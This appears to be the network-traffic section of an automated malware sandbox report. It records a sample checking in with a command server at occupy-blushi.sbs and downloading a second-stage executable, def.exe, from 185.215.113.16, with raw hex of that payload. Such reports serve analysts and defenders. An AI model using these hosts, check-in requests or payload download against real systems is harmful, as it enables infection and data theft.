Nov 25, 2024 18:28:51.634747982 CET	1.1.1.1	192.168.2.6	0xff3a	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 18:28:51.634747982 CET	1.1.1.1	192.168.2.6	0xff3a	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 18:28:51.662477970 CET	1.1.1.1	192.168.2.6	0x639e	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 18:28:51.769918919 CET	1.1.1.1	192.168.2.6	0x64bd	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 18:28:51.769918919 CET	1.1.1.1	192.168.2.6	0x64bd	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 18:28:51.769918919 CET	1.1.1.1	192.168.2.6	0x64bd	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 25, 2024 18:28:51.797265053 CET	1.1.1.1	192.168.2.6	0x3a81	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 18:28:51.797265053 CET	1.1.1.1	192.168.2.6	0x3a81	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 18:28:51.797265053 CET	1.1.1.1	192.168.2.6	0x3a81	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 18:28:51.797265053 CET	1.1.1.1	192.168.2.6	0x3a81	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 25, 2024 18:28:54.634419918 CET	1.1.1.1	192.168.2.6	0x5872	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 18:28:54.634459972 CET	1.1.1.1	192.168.2.6	0xbb25	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 18:28:54.634459972 CET	1.1.1.1	192.168.2.6	0xbb25	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 18:28:54.634459972 CET	1.1.1.1	192.168.2.6	0xbb25	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 25, 2024 18:28:54.994267941 CET	1.1.1.1	192.168.2.6	0x620b	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 18:28:54.994267941 CET	1.1.1.1	192.168.2.6	0x620b	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 18:28:54.994267941 CET	1.1.1.1	192.168.2.6	0x620b	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 18:28:54.994267941 CET	1.1.1.1	192.168.2.6	0x620b	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 25, 2024 18:28:54.994299889 CET	1.1.1.1	192.168.2.6	0xfc72	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 18:28:54.994299889 CET	1.1.1.1	192.168.2.6	0xfc72	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 18:29:01.507066965 CET	1.1.1.1	192.168.2.6	0xdc45	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 18:29:01.605222940 CET	1.1.1.1	192.168.2.6	0xa1c1	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 18:29:06.617057085 CET	1.1.1.1	192.168.2.6	0xf5d	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 18:29:06.851383924 CET	1.1.1.1	192.168.2.6	0xb550	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 18:29:13.631328106 CET	1.1.1.1	192.168.2.6	0xec43	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 18:29:13.636138916 CET	1.1.1.1	192.168.2.6	0x8568	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

occupy-blushi.sbs

otelrules.azureedge.net

slscr.update.microsoft.com

fs.microsoft.com

https:

js.monitor.azure.com

wcpstatic.microsoft.com

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49752	185.215.113.16	80	6536	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 18:28:31.118192911 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 25, 2024 18:28:32.544183969 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 25 Nov 2024 17:28:32 GMT Content-Type: application/octet-stream Content-Length: 2802176 Last-Modified: Mon, 25 Nov 2024 17:02:44 GMT Connection: keep-alive ETag: "6744adb4-2ac200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2b 00 00 04 00 00 39 c9 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$@+ `@ +9`Ui` @ @.rsrc`2@.idata 8@xilneaxjb:@urakthdi +@.taggant@@+"*@
Nov 25, 2024 18:28:32.544230938 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 18:28:32.544246912 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 18:28:32.544274092 CET	672	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 18:28:32.544289112 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 18:28:32.544300079 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 18:28:32.544311047 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 18:28:32.544317961 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 25, 2024 18:28:32.544482946 CET	1236	IN	Data Raw: 03 41 d5 0a 4a 22 36 77 08 c4 40 0f 1a 33 ed 27 51 22 29 97 e9 d7 a7 77 08 c4 40 99 18 3f ed 77 55 22 d3 f6 78 73 6c ff 2b ff cc 6f 35 cc 4b d5 1b 3b b2 70 f8 22 63 ff 2f 15 c9 a0 f1 30 06 a4 12 59 cf f7 ba c8 4f 2f 7a dd d5 2d 5b 39 6c 73 ab 27 Data Ascii: AJ"6w@3'Q")w@?wU"xsl+o5K;p"c/0YO/z-[9ls'hbtisY)ziT@9`A0%[J,6QzVL=a*76.){v7LFBr8:rk%2z6%2DW:k3]G3J
Nov 25, 2024 18:28:32.544496059 CET	1236	IN	Data Raw: c0 31 33 ea 1f cf 92 f8 83 ef d2 c1 a0 ec 48 2b f3 f5 f8 e1 8b 65 fd bb 41 f4 d1 00 02 07 80 51 13 11 3b 67 0e 89 96 59 0a a3 10 c7 6d 90 e9 a2 f8 45 8e 3e 50 40 f7 a0 b8 24 5a c8 02 ed 5a 4d b9 1c c4 be 02 a8 fa 64 d9 e3 d8 25 60 a3 8f f6 4e 1c Data Ascii: 13H+eAQ;gYmE>P@$ZZMd%`N-D=PG$gGvW}flTArMK]?(gQ+A2"x4S
Nov 25, 2024 18:28:32.664921045 CET	1236	IN	Data Raw: 48 ad db 6e 85 cd 05 c5 46 8d e5 eb 57 2d a0 f4 6b 5c 72 91 58 21 aa e8 45 92 e2 60 b9 ed ec 90 06 94 92 f9 a4 e9 1d 34 72 fe fe dd 51 62 40 4b 47 c7 b5 17 ad f8 93 38 70 d9 81 3d 82 7a 5c de 6a 68 15 55 a5 5e 17 e8 8a a9 fb 16 4a 85 61 e3 ac e9 Data Ascii: HnFW-k\rX!E`4rQb@KG8p=z\jhU^Ja;@NplKE~~PpFan:mo"WX?i,E]+9YL~"#PhlnQ21E(M Q<+c)!Wv&MRg6

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49707	104.21.7.169	443	6536	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:09 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: occupy-blushi.sbs
2024-11-25 17:28:09 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-25 17:28:10 UTC	1014	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=r88do4ak75j7uevtfv1dcr3icf; expires=Fri, 21-Mar-2025 11:14:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sx4OI80BnDgj2zD0eNf4sS0O%2BIKU35dfQmQNiuw6LrJqOmvP7uHw%2ByWtPI0S%2FmnmxV40Y7X3rRTqddT4rKDdY7WQx6L8jjdbMAjrM84BCFfxPlDQGcSWSBAaz0X1vToLrB3VVA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e835a864e3743ed-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1797&sent=6&recv=8&lost=0&retrans=1&sent_bytes=4228&recv_bytes=908&delivery_rate=295188&cwnd=205&unsent_bytes=0&cid=3faa4192d91ed232&ts=749&x=0"
2024-11-25 17:28:10 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-25 17:28:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49708	20.198.119.143	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:11 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 38 4d 65 61 4d 4d 6d 72 44 55 69 52 35 46 64 37 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 32 39 63 65 34 30 35 39 65 66 66 36 32 62 63 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 8MeaMMmrDUiR5Fd7.1Context: b29ce4059eff62bc
2024-11-25 17:28:11 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-25 17:28:11 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 38 4d 65 61 4d 4d 6d 72 44 55 69 52 35 46 64 37 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 32 39 63 65 34 30 35 39 65 66 66 36 32 62 63 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 5a 73 57 41 6d 77 42 2b 42 59 38 37 62 74 32 64 4a 4f 68 6a 61 68 4f 70 70 6f 35 34 71 79 33 38 52 37 53 47 55 45 4f 49 66 6a 73 36 4c 41 5a 62 2f 53 50 54 53 36 2b 79 44 54 39 65 45 6e 76 7a 75 6d 30 75 31 54 50 6f 63 6e 73 61 6a 64 46 57 43 4c 77 50 64 6d 35 38 44 42 79 64 72 30 32 4a 55 64 72 43 76 36 66 7a 63 73 33 31 4d Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 8MeaMMmrDUiR5Fd7.2Context: b29ce4059eff62bc<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAZsWAmwB+BY87bt2dJOhjahOppo54qy38R7SGUEOIfjs6LAZb/SPTS6+yDT9eEnvzum0u1TPocnsajdFWCLwPdm58DBydr02JUdrCv6fzcs31M
2024-11-25 17:28:11 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 38 4d 65 61 4d 4d 6d 72 44 55 69 52 35 46 64 37 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 32 39 63 65 34 30 35 39 65 66 66 36 32 62 63 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 8MeaMMmrDUiR5Fd7.3Context: b29ce4059eff62bc<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-25 17:28:12 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-25 17:28:12 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 4a 52 62 6b 61 4a 42 72 76 6b 75 6c 6f 4b 4f 64 45 32 76 4b 4d 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: JRbkaJBrvkuloKOdE2vKMw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49709	104.21.7.169	443	6536	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:11 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: occupy-blushi.sbs
2024-11-25 17:28:11 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-25 17:28:13 UTC	1020	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=q2cmp6i427330oh8ikf9l0fi6v; expires=Fri, 21-Mar-2025 11:14:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AbLWx0BNh7dGo7rB3jJ0MX%2FUOIejQaQYkpyQJzNy0tlxNP29cPpi%2BMRKWwOTKH3D4%2BQKIIHXqgbcDpG5hTFT2t8j5rr%2FLG8yTnNP6zZD%2FcCq2UTujamp0LhmvEYcmHbY6OIZSw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e835a940ef242c2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2578&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2844&recv_bytes=954&delivery_rate=1131782&cwnd=238&unsent_bytes=0&cid=a45771d734f847b6&ts=1023&x=0"
2024-11-25 17:28:13 UTC	349	IN	Data Raw: 32 64 62 63 0d 0a 30 71 71 7a 37 49 50 36 6d 34 63 56 33 69 47 31 4c 6d 4f 32 52 36 67 62 71 2b 37 4c 64 2f 4c 38 67 32 33 49 79 77 7a 6b 4b 4f 36 70 69 4d 58 4f 75 63 36 33 70 57 61 37 41 34 39 61 45 63 4d 69 68 44 6e 4b 69 75 6c 4e 6c 4a 33 76 48 71 33 6e 4c 70 4a 46 7a 4f 6a 4d 30 6f 44 77 6e 37 65 6c 63 4b 59 44 6a 33 55 59 6c 43 4c 47 4f 5a 48 4d 72 68 32 51 6e 65 38 50 71 61 42 6a 6c 45 53 4e 75 73 62 55 68 4f 61 5a 2f 2b 5a 35 73 30 54 51 53 77 4c 63 4b 63 46 32 77 34 50 70 57 39 43 5a 2b 55 2f 79 36 55 47 42 58 49 2b 66 79 38 43 48 6f 59 65 33 2f 44 65 37 54 35 63 55 51 64 63 69 79 6e 66 4e 69 71 41 66 6d 70 54 6e 44 71 79 68 66 49 31 4f 68 72 72 49 31 34 58 73 6b 4f 76 72 63 37 52 50 31 6b 45 43 6c 47 75 4b 66 74 48 4d 38 56 58 44 72 4f 49 65 75 Data Ascii: 2dbc0qqz7IP6m4cV3iG1LmO2R6gbq+7Ld/L8g23IywzkKO6piMXOuc63pWa7A49aEcMihDnKiulNlJ3vHq3nLpJFzOjM0oDwn7elcKYDj3UYlCLGOZHMrh2Qne8PqaBjlESNusbUhOaZ/+Z5s0TQSwLcKcF2w4PpW9CZ+U/y6UGBXI+fy8CHoYe3/De7T5cUQdciynfNiqAfmpTnDqyhfI1OhrrI14XskOvrc7RP1kEClGuKftHM8VXDrOIeu
2024-11-25 17:28:13 UTC	1369	IN	Data Raw: 49 31 34 44 67 6c 66 6e 33 66 37 64 49 30 6c 34 4b 33 53 6a 48 65 63 53 47 70 68 61 51 6d 65 73 46 70 61 4e 71 69 30 65 4b 73 4d 69 52 77 4b 47 66 34 61 55 76 2f 47 44 53 58 41 62 59 4d 34 68 44 69 5a 50 6e 44 4e 43 5a 37 55 2f 79 36 57 61 44 53 59 2b 37 78 39 4b 47 36 6f 72 35 39 33 47 78 52 73 56 4b 42 4e 6f 76 79 57 76 44 67 71 38 57 6d 5a 58 6f 43 71 32 74 4c 73 67 4b 69 36 69 49 69 63 37 41 6c 66 4c 70 66 61 74 44 6c 31 4e 50 7a 57 58 4e 64 59 6e 55 36 52 47 52 6d 75 41 4c 70 4b 64 71 69 6b 79 43 76 63 66 58 68 4f 47 66 38 2b 31 2f 76 55 37 63 51 77 48 52 4b 4d 35 2f 78 59 32 73 56 64 37 65 35 68 66 71 38 53 36 6f 54 59 2b 69 69 75 53 4e 37 35 62 2b 38 7a 65 6a 44 63 34 4d 42 74 68 6c 6b 6a 6e 48 69 61 59 48 6b 59 7a 6b 41 62 69 6c 61 34 42 48 6a 37 Data Ascii: I14Dglfn3f7dI0l4K3SjHecSGphaQmesFpaNqi0eKsMiRwKGf4aUv/GDSXAbYM4hDiZPnDNCZ7U/y6WaDSY+7x9KG6or593GxRsVKBNovyWvDgq8WmZXoCq2tLsgKi6iIic7AlfLpfatDl1NPzWXNdYnU6RGRmuALpKdqikyCvcfXhOGf8+1/vU7cQwHRKM5/xY2sVd7e5hfq8S6oTY+iiuSN75b+8zejDc4MBthlkjnHiaYHkYzkAbila4BHj7
2024-11-25 17:28:13 UTC	1369	IN	Data Raw: 37 35 62 2b 38 7a 65 6a 44 63 34 4d 42 74 68 6c 6b 6a 6e 46 68 61 6b 65 6d 70 72 68 43 4b 65 73 62 59 46 4a 67 62 66 43 33 34 6e 6c 6c 50 44 6f 63 62 78 45 30 30 6b 54 30 53 7a 47 64 59 6e 43 36 52 4b 49 33 72 6c 50 68 61 35 34 68 57 57 50 6f 63 47 52 6b 61 2b 42 75 65 4a 37 2f 42 75 58 53 77 54 63 4c 73 78 78 79 5a 36 73 47 35 75 66 36 77 6d 72 70 47 4b 41 53 6f 32 77 7a 74 32 4f 35 70 2f 72 39 33 4b 36 55 64 30 4d 54 35 51 69 30 6a 6d 52 7a 4a 38 46 68 34 2f 33 54 5a 2b 71 59 49 68 4e 6d 76 44 58 6e 35 65 68 6e 2f 57 6c 4c 2f 78 49 31 30 41 47 33 43 50 4f 63 63 61 44 6f 41 65 52 6b 75 38 64 72 61 6c 6e 69 45 57 41 75 63 58 57 67 2b 71 53 39 4f 46 77 76 51 4f 5a 44 41 62 4d 5a 5a 49 35 2f 35 79 6b 47 62 36 56 37 51 62 71 74 69 43 66 43 6f 75 38 69 49 6e Data Ascii: 75b+8zejDc4MBthlkjnFhakemprhCKesbYFJgbfC34nllPDocbxE00kT0SzGdYnC6RKI3rlPha54hWWPocGRka+BueJ7/BuXSwTcLsxxyZ6sG5uf6wmrpGKASo2wzt2O5p/r93K6Ud0MT5Qi0jmRzJ8Fh4/3TZ+qYIhNmvDXn5ehn/WlL/xI10AG3CPOccaDoAeRku8dralniEWAucXWg+qS9OFwvQOZDAbMZZI5/5ykGb6V7QbqtiCfCou8iIn
2024-11-25 17:28:13 UTC	1369	IN	Data Raw: 2b 70 32 75 45 62 53 53 41 62 51 49 38 55 35 68 38 79 75 44 64 44 47 6f 53 43 4e 6e 43 79 6e 63 4d 79 76 68 73 6a 4f 35 70 53 35 76 54 65 77 51 4e 74 45 44 74 49 73 78 6e 50 41 68 36 55 65 6c 4a 4c 6f 43 71 79 6f 61 34 4e 4c 69 4c 7a 43 31 34 33 69 6c 2f 62 71 66 2f 77 4e 6c 30 73 5a 6c 48 32 4b 58 4e 36 48 70 78 50 51 67 61 38 57 36 71 35 69 78 68 4c 4d 76 4d 48 58 69 4f 53 55 2b 4f 4e 2f 75 55 76 54 54 51 66 53 4a 73 56 39 7a 49 32 6d 45 5a 79 51 36 77 36 72 70 57 57 4a 51 59 6e 77 68 70 47 4a 2b 64 69 68 70 55 61 2f 56 63 42 63 44 5a 51 36 68 47 43 4a 69 36 56 56 79 4e 37 67 48 61 43 6a 59 49 4e 46 69 62 50 48 31 6f 50 6e 6c 50 50 73 66 37 70 4d 33 6c 34 43 32 43 76 4e 64 38 57 43 70 42 2b 54 6b 36 46 42 36 71 35 32 78 68 4c 4d 6e 4d 2f 63 6f 4f 71 55 Data Ascii: 